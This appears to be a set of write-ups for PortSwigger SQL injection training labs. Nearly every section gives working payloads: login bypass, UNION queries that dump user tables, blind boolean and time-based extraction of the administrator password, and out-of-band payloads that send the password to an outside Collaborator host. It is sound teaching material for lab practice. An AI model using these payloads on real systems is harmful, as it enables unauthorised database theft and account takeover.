SQLi lab setup & writeups

Lab setup

The page linked below shows a simple setup to start learning SQL and testing SQL injection payloads locally. One of the biggest things you can do to catapult your learning and experience is to set things up locally and test them. You'll gain a deeper understanding of systems, how they work, how they are exploited, and invaluable troubleshooting skills. It WILL set you apart from those that just rely on pre-made or hosted CTFs.

pageSQLi testing labs

Labs list

SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

PortSwigger | free | easy | link to lab

Solution
1. Click on a search item such as gifts

2. Modify the query to include your payload

/filter?category=Gifts' or 1='1

3. Send the request

SQL injection vulnerability allowing login bypass

PortSwigger | free | easy | link to lab

Solution
1. Browse to the login page

2. Enter your payload into the username box

administrator' or 1=1-- -

3. Enter any password

4. Click Log in

SQL injection attack, querying the database type and version on Oracle

PortSwigger | free | easy | link to lab

Solution
1. Select one of the filters to refine the search

2. Test for UNION attack

' UNION SELECT null FROM dual--
' UNION SELECT null,null FROM dual--

3. Select the database version

' UNION SELECT banner,null FROM v$version--

SQL injection attack, querying the database type and version on MySQL and Microsoft

PortSwigger | free | easy | link to lab

Solution
1. Select one of the filters to refine the search

2. Test for UNION attack

' UNION SELECT null-- -
' UNION SELECT null,null-- -

3. Select the database version

' UNION SELECT version(),null-- -

SQL injection attack, listing the database contents on non-Oracle databases

PortSwigger | free | easy | link to lab

Solution
1. Select one of the filters to refine the search

2. Test for UNION attack

' UNION SELECT null-- -
' UNION SELECT null,null-- -

3. List the tables in the DB

' UNION SELECT table_name,null FROM information_schema.tables--

Table name is users_[unique-value]

4. List the column names in the table

' UNION SELECT column_name,null FROM information_schema.columns WHERE table_name = 'users_[unique-value]'--

5. Get the password for the user 'administrator' and then login

' UNION SELECT password_[unique-value],null FROM users_[unique-value] WHERE username_[unique-value]='administrator'--

SQL injection attack, listing the database contents on Oracle

PortSwigger | free | easy | link to lab

Solution
1. Select one of the filters to refine the search

2. Test for UNION attack

' UNION SELECT null FROM dual--
' UNION SELECT null,null FROM dual--

3. List the tables in the DB

' UNION SELECT null,table_name FROM all_tables--

USERS_[unique-value]

4. Get the column names

' UNION SELECT null,column_name FROM all_tab_columns WHERE table_name=USERS_[unique-value]--

5. Get the user information and then login

' UNION SELECT USERNAME_CPHKFO,PASSWORD_BQUKUN FROM USERS_TAGNSD--

SQL injection UNION attack, determining the number of columns returned by the query

PortSwigger | free | easy | link to lab

Solution
1. Keep adding null until you find the solution

' UNION SELECT null-- -
' UNION SELECT null,null-- -
' UNION SELECT null,null,null-- -
etc

SQL injection UNION attack, finding a column containing text

PortSwigger | free | easy | link to lab

Solution
1. Find the number of columns

' UNION SELECT null,null,null--

2. Test each column for text

' UNION SELECT 'a',null,null--
' UNION SELECT null,'a',null--
' UNION SELECT null,null,'a'--

3. Substitute in the given text (or test with it initially)

SQL injection UNION attack, retrieving data from other tables

PortSwigger | free | easy | link to lab

Solution
1. Figure out the number of columns and then the version

' UNION SELECT null--
' UNION SELECT null,null--
' UNION SELECT version(),null--

3. Get the table names

' UNION SELECT table_name,null FROM information_schema.tables--
users

4. Looks like to unique values so we can just grab the username and password and then login

' UNION SELECT username,password FROM users--

5. Login as the administrator

SQL injection UNION attack, retrieving multiple values in a single column

PortSwigger | free | easy | link to lab

Solution
1. Figure out the number of columns and which can return strings

' UNION SELECT null--
' UNION SELECT null,null--
' UNION SELECT 'a',null--
' UNION SELECT null,'a'--

2. Check the version of the DB and use CONCAT to grab the username and password

' UNION SELECT null,version()--
' UNION SELECT null,username||password FROM users-- 

3. Login with the administrator credentials to solve the lab

Blind SQL injection with conditional responses

PortSwigger | free | medium | link to lab

Solution
1. Find the injectable point with the following payload and watching the Content-Length response header change

' AND 1=1--
' AND 1=2--

2. Get a working payload for SUBSTRING

' AND SUBSTRING('abc',1,1)='a'--

3. Setup the payload to grab the administrators password

' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)<'m'--

4. Setup intruder and mark the first '1' and the character to fuzz, set the attack type to cluster bomb

' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),§1§,1)='§m§'--

5. Add the payloads a-z A-Z 0-9 for the first list, and 1-30 for the second

6. Start attack, when finished, filter by 'Welcome'

7. Login with 'administrator' and the password

Blind SQL injection with conditional errors

PortSwigger | free | medium | link to lab

Solution
1. Find the injectable point with the following payload to create an error

' UNION SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE NULL END FROM dual--
' UNION SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE NULL END FROM dual--

2. Verify you can use SUBSTR to select the first character

' UNION SELECT CASE WHEN (SUBSTR((SELECT password FROM users WHERE username='administrator'),1,1)<'m') THEN TO_CHAR(1/0) ELSE NULL END FROM dual--
Test with > and < and = to double check you can get 200 OK

3. Add the position markers and set the attack type to cluster bomb

' UNION SELECT CASE WHEN (SUBSTR((SELECT password FROM users WHERE username='administrator'),§1§,1)='§m§') THEN TO_CHAR(1/0) ELSE NULL END FROM dual--

4. Set the first list to 1-30. the second list to a-z 0-9 and run the attack

5. Filter out the 200 resuls and get the password

6. Login with 'administrator' and the password

Visible error-based SQL injection

PortSwigger | free | medium | link to lab

Solution
1. Find the injectable point with a single quote to trigger an error

2. Use the following payload to trigger a meaningful error and identify it as MSSQL

' AND SELECT CAST((SELECT password FROM users LIMIT 1) AS int)--

3. We need to use a boolean expression

' AND CAST((SELECT 1) AS int)-- -
' AND CAST((SELECT 1) AS int)=1-- -

4. Select password from users

' AND CAST((SELECT password FROM users) AS int)=1-- -

5. Limit 1 (follow the error message)

' AND CAST((SELECT password FROM users LIMIT 1) AS int)=1-- -

6. Login to solve the lab

Blind SQL injection with time delays

PortSwigger | free | medium | link to lab

Solution
1. Find the injection point by trying different payloads along with AND, UNION and stacked queries ;

;SELECT pg_sleep(10)-- -

*Remember to encode the ; otherwise your payload may be interpreted as another cookie

Blind SQL injection with time delays and information retrieval

PortSwigger | free | medium | link to lab

Solution
1. Find the injection point with the sleep payload

'; SELECT pg_sleep(10)--
*Remember to encode the ;

2. Verify a conditional time delay and create a payload

'; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END
'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,§1§,1)='§a§') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

3. Setup intruder as with the previous labs, select Columns and 'Response Received'

List be the Response received column and the ones we want should be > 10,000

4. Login to solve the lab

Blind SQL injection with out-of-band interaction

PortSwigger | free | medium | link to lab

Solution
1. Find the injection point by fuzzing variations of the OOB payloads

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual--
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')--
exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'--
copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a') SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'-- -

' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual--

*Make sure to encode the payload otherwise you get 500 error

2. Go to 'Collaborator' and click poll now to see the results

Blind SQL injection with out-of-band data exfiltration

PortSwigger | free | medium | link to lab

Solution
1. Find the injection point by fuzzing variations of the OOB payloads

' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual--
*Don't forget to encode the payload

2. Add a concatenated SELECT statement to the payload

'||(SELECT+password+FROM+users+WHERE+username='administrator')||'

' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.3z36x61ewxqp75s04gzau6c1tszjnady2.oastify.com/"> %remote;]>'),'/l') FROM dual--

3. Clock poll now on collaborator after sending the request and login with the password that's passed as the subdomain

*The full address is shown at the bottom of the page in the description section

SQL injection with filter bypass via XML encoding

PortSwigger | free | medium | link to lab

Solution
1. Find the injection point by passing in payloads such as

1+1
'
etc

2. Use Hackvertor to add a WAF bypass

<@dec_entities>1 UNION SELECT password FROM users<@/dec_entities>

3. Login to solve the lab

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